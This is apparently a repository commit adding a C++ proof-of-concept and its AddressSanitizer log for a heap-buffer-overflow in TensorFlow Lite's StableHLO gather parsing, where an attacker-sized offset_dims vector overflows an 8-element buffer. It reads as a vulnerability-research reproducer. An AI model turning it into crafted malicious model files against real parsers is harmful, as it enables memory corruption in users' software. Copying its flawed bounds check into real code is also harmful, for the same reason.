Upload 2 files
Browse files
poc_stablehlo_gather_asan_output.txt
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
sizeof(TfLiteStablehloGatherParams) = 296 bytes
|
| 2 |
+
params->offset_dims tiene 8 elementos int64_t reservados (64 bytes)
|
| 3 |
+
schema_offset_dims->size() = 5000 (controlado por el atacante)
|
| 4 |
+
|
| 5 |
+
Llamando FlatBufferIntVectorToArray EXACTAMENTE como ParseStablehloGather:
|
| 6 |
+
max_size_of_buffer = schema_params->offset_dims()->size() * sizeof(int64_t)
|
| 7 |
+
= 5000 * 8 = 40000 <-- deriva del propio dato atacante,
|
| 8 |
+
NO del tamano real de params->offset_dims (64 bytes)
|
| 9 |
+
|
| 10 |
+
=================================================================
|
| 11 |
+
==6531==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000168 at pc 0x5ac680584a45 bp 0x7fff11f32690 sp 0x7fff11f32688
|
| 12 |
+
WRITE of size 8 at 0x612000000168 thread T0
|
| 13 |
+
#0 0x5ac680584a44 in FlatBufferIntVectorToArray<long int> //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_gather.cc:74
|
| 14 |
+
#1 0x5ac68058475e in main //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_gather.cc:109
|
| 15 |
+
#2 0x72fa25631f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
|
| 16 |
+
#3 0x72fa25632026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
|
| 17 |
+
#4 0x5ac6805841b0 in _start (/tmp/poc_gather+0x21b0) (BuildId: b002c47e527a3582a414fb232b1fd0cd1de03fa0)
|
| 18 |
+
|
| 19 |
+
0x612000000168 is located 0 bytes after 296-byte region [0x612000000040,0x612000000168)
|
| 20 |
+
allocated by thread T0 here:
|
| 21 |
+
#0 0x72fa25cd90f8 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
|
| 22 |
+
#1 0x5ac680584484 in main //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_gather.cc:92
|
| 23 |
+
#2 0x72fa25631f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
|
| 24 |
+
|
| 25 |
+
SUMMARY: AddressSanitizer: heap-buffer-overflow //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_gather.cc:74 in FlatBufferIntVectorToArray<long int>
|
| 26 |
+
Shadow bytes around the buggy address:
|
| 27 |
+
0x611ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
| 28 |
+
0x611fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
| 29 |
+
0x611fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
| 30 |
+
0x612000000000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
| 31 |
+
0x612000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
| 32 |
+
=>0x612000000100: 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa
|
| 33 |
+
0x612000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 34 |
+
0x612000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 35 |
+
0x612000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 36 |
+
0x612000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 37 |
+
0x612000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 38 |
+
Shadow byte legend (one shadow byte represents 8 application bytes):
|
| 39 |
+
Addressable: 00
|
| 40 |
+
Partially addressable: 01 02 03 04 05 06 07
|
| 41 |
+
Heap left redzone: fa
|
| 42 |
+
Freed heap region: fd
|
| 43 |
+
Stack left redzone: f1
|
| 44 |
+
Stack mid redzone: f2
|
| 45 |
+
Stack right redzone: f3
|
| 46 |
+
Stack after return: f5
|
| 47 |
+
Stack use after scope: f8
|
| 48 |
+
Global redzone: f9
|
| 49 |
+
Global init order: f6
|
| 50 |
+
Poisoned by user: f7
|
| 51 |
+
Container overflow: fc
|
| 52 |
+
Array cookie: ac
|
| 53 |
+
Intra object redzone: bb
|
| 54 |
+
ASan internal: fe
|
| 55 |
+
Left alloca redzone: ca
|
| 56 |
+
Right alloca redzone: cb
|
| 57 |
+
==6531==ABORTING
|
poc_tflite_stablehlo_gather.cc
ADDED
|
@@ -0,0 +1,123 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// FASE 4 - tflite focus-03-flatbuffer-conversions.
|
| 2 |
+
//
|
| 3 |
+
// Reproduccion aislada (tecnica ya usada esta campana para OpenVINO/HDF5: extraer la logica
|
| 4 |
+
// vulnerable EXACTA del repo real, sin reimplementarla de memoria, y compilarla/ejecutarla de
|
| 5 |
+
// forma independiente cuando construir el proyecto entero -- aqui, todo TensorFlow con bazel --
|
| 6 |
+
// es inviable).
|
| 7 |
+
//
|
| 8 |
+
// Los siguientes fragmentos son copia VERBATIM del commit auditado
|
| 9 |
+
// (65857ef50bff3d9d5d2a6ffac49bf5ca72d324a6):
|
| 10 |
+
// - struct TfLiteStablehloGatherParams: tensorflow/compiler/mlir/lite/core/c/builtin_op_data.h
|
| 11 |
+
// (lineas 38, 597-611)
|
| 12 |
+
// - FlatBufferIntVectorToArray(): tensorflow/lite/core/api/flatbuffer_conversions.cc
|
| 13 |
+
// (lineas 83-105), incluida la firma de tipos exacta.
|
| 14 |
+
// - El patron de llamada vulnerable: tensorflow/lite/core/api/flatbuffer_conversions.cc,
|
| 15 |
+
// ParseStablehloGather() (lineas 2317-2371) -- "max_size_of_buffer" calculado a partir del
|
| 16 |
+
// tamano del propio vector origen en vez del tamano real del buffer destino.
|
| 17 |
+
//
|
| 18 |
+
// Lo unico NO real es el sustituto minimo de flatbuffers::Vector<int64_t> (FakeFlatVector): solo
|
| 19 |
+
// necesita .size() y .Get(i), la misma interfaz que el codigo real usa -- no reimplementa NINGUNA
|
| 20 |
+
// logica de la vulnerabilidad en si, solo provee datos de entrada controlados sin necesitar
|
| 21 |
+
// vincular la libreria flatbuffers completa.
|
| 22 |
+
|
| 23 |
+
#include <cstddef>
|
| 24 |
+
#include <cstdint>
|
| 25 |
+
#include <cstdio>
|
| 26 |
+
#include <vector>
|
| 27 |
+
|
| 28 |
+
// --- verbatim: builtin_op_data.h ---
|
| 29 |
+
#define TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT 8
|
| 30 |
+
|
| 31 |
+
typedef struct {
|
| 32 |
+
int64_t offset_dims[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
|
| 33 |
+
int num_offset_dims;
|
| 34 |
+
int64_t collapsed_slice_dims[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
|
| 35 |
+
int num_collapsed_slice_dims;
|
| 36 |
+
int64_t start_index_map[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
|
| 37 |
+
int num_start_index_map;
|
| 38 |
+
int64_t index_vector_dim;
|
| 39 |
+
int64_t slice_sizes[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
|
| 40 |
+
int num_slice_sizes;
|
| 41 |
+
bool indices_are_sorted;
|
| 42 |
+
} TfLiteStablehloGatherParams;
|
| 43 |
+
|
| 44 |
+
typedef int TfLiteStatus;
|
| 45 |
+
#define kTfLiteOk 0
|
| 46 |
+
#define kTfLiteError 1
|
| 47 |
+
|
| 48 |
+
// --- minimal stand-in for flatbuffers::Vector<int64_t> (interface only, not the vulnerability) ---
|
| 49 |
+
class FakeFlatVector {
|
| 50 |
+
public:
|
| 51 |
+
explicit FakeFlatVector(std::vector<int64_t> data) : data_(std::move(data)) {}
|
| 52 |
+
size_t size() const { return data_.size(); }
|
| 53 |
+
int64_t Get(size_t i) const { return data_[i]; }
|
| 54 |
+
private:
|
| 55 |
+
std::vector<int64_t> data_;
|
| 56 |
+
};
|
| 57 |
+
|
| 58 |
+
// --- verbatim: flatbuffer_conversions.cc:83-105 (FlatBufferIntVectorToArray), adapted only to
|
| 59 |
+
// take FakeFlatVector* instead of flatbuffers::Vector<DataType>* (identical interface) ---
|
| 60 |
+
template <typename DataType = int32_t>
|
| 61 |
+
static TfLiteStatus FlatBufferIntVectorToArray(
|
| 62 |
+
int max_size_of_buffer, const FakeFlatVector* flat_vector,
|
| 63 |
+
DataType* buffer, const char* op_name) {
|
| 64 |
+
if (!flat_vector) {
|
| 65 |
+
fprintf(stderr, "Input array not provided for operation '%s'.\n", op_name);
|
| 66 |
+
return kTfLiteError;
|
| 67 |
+
} else {
|
| 68 |
+
size_t num_dimensions = flat_vector->size();
|
| 69 |
+
if (num_dimensions > max_size_of_buffer / sizeof(DataType)) {
|
| 70 |
+
fprintf(stderr, "Found too many dimensions in the input array of operation '%s'.\n", op_name);
|
| 71 |
+
return kTfLiteError;
|
| 72 |
+
} else {
|
| 73 |
+
for (size_t i = 0; i < num_dimensions; ++i) {
|
| 74 |
+
buffer[i] = flat_vector->Get(i); // <-- sink: escritura sin limite real
|
| 75 |
+
}
|
| 76 |
+
}
|
| 77 |
+
}
|
| 78 |
+
return kTfLiteOk;
|
| 79 |
+
}
|
| 80 |
+
|
| 81 |
+
int main() {
|
| 82 |
+
// Simula un .tflite malicioso: nodo StablehloGatherOptions con offset_dims de 5000 elementos
|
| 83 |
+
// (el schema real, schema.fbs:683-690, declara offset_dims como '[long]' sin limite de
|
| 84 |
+
// tamano -- un atacante puede poner el valor que quiera).
|
| 85 |
+
const size_t attacker_count = 5000;
|
| 86 |
+
std::vector<int64_t> attacker_data(attacker_count);
|
| 87 |
+
for (size_t i = 0; i < attacker_count; ++i) attacker_data[i] = 0x4141414141414141LL; // marcador
|
| 88 |
+
FakeFlatVector schema_offset_dims(attacker_data);
|
| 89 |
+
|
| 90 |
+
// Asignacion heap EXACTA como AllocatePOD<T>() (flatbuffer_conversions.h:43-49):
|
| 91 |
+
// this->Allocate(sizeof(T), alignof(T)) -- sin margen extra, igual que 'new' para un POD.
|
| 92 |
+
TfLiteStablehloGatherParams* params = new TfLiteStablehloGatherParams();
|
| 93 |
+
|
| 94 |
+
fprintf(stderr, "sizeof(TfLiteStablehloGatherParams) = %zu bytes\n", sizeof(TfLiteStablehloGatherParams));
|
| 95 |
+
fprintf(stderr, "params->offset_dims tiene %d elementos int64_t reservados (%zu bytes)\n",
|
| 96 |
+
TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT,
|
| 97 |
+
TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT * sizeof(int64_t));
|
| 98 |
+
fprintf(stderr, "schema_offset_dims->size() = %zu (controlado por el atacante)\n\n",
|
| 99 |
+
schema_offset_dims.size());
|
| 100 |
+
|
| 101 |
+
// --- verbatim: flatbuffer_conversions.cc:2317-2371 (ParseStablehloGather), la llamada real ---
|
| 102 |
+
fprintf(stderr, "Llamando FlatBufferIntVectorToArray EXACTAMENTE como ParseStablehloGather:\n");
|
| 103 |
+
fprintf(stderr, " max_size_of_buffer = schema_params->offset_dims()->size() * sizeof(int64_t)\n");
|
| 104 |
+
fprintf(stderr, " = %zu * %zu = %zu <-- deriva del propio dato atacante,\n",
|
| 105 |
+
schema_offset_dims.size(), sizeof(int64_t), schema_offset_dims.size() * sizeof(int64_t));
|
| 106 |
+
fprintf(stderr, " NO del tamano real de params->offset_dims (%zu bytes)\n\n",
|
| 107 |
+
TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT * sizeof(int64_t));
|
| 108 |
+
|
| 109 |
+
TfLiteStatus status = FlatBufferIntVectorToArray<int64_t>(
|
| 110 |
+
/*max_size_of_buffer=*/static_cast<int>(schema_offset_dims.size() * sizeof(int64_t)),
|
| 111 |
+
/*flat_vector=*/&schema_offset_dims,
|
| 112 |
+
/*buffer=*/params->offset_dims,
|
| 113 |
+
/*op_name=*/"stablehlo_gather");
|
| 114 |
+
|
| 115 |
+
fprintf(stderr, "FlatBufferIntVectorToArray devolvio: %s (esperado: kTfLiteOk, NO deberia haber "
|
| 116 |
+
"aceptado 5000 elementos en un buffer de 8)\n", status == kTfLiteOk ? "kTfLiteOk" : "kTfLiteError");
|
| 117 |
+
fprintf(stderr, "Si ASan no ha abortado ya el proceso, la escritura fuera de limites ha sido "
|
| 118 |
+
"silenciosa en este build (sin ASan). Con -fsanitize=address deberia haber\n"
|
| 119 |
+
"abortado durante el bucle de escritura, mucho antes de llegar aqui.\n");
|
| 120 |
+
|
| 121 |
+
delete params;
|
| 122 |
+
return 0;
|
| 123 |
+
}
|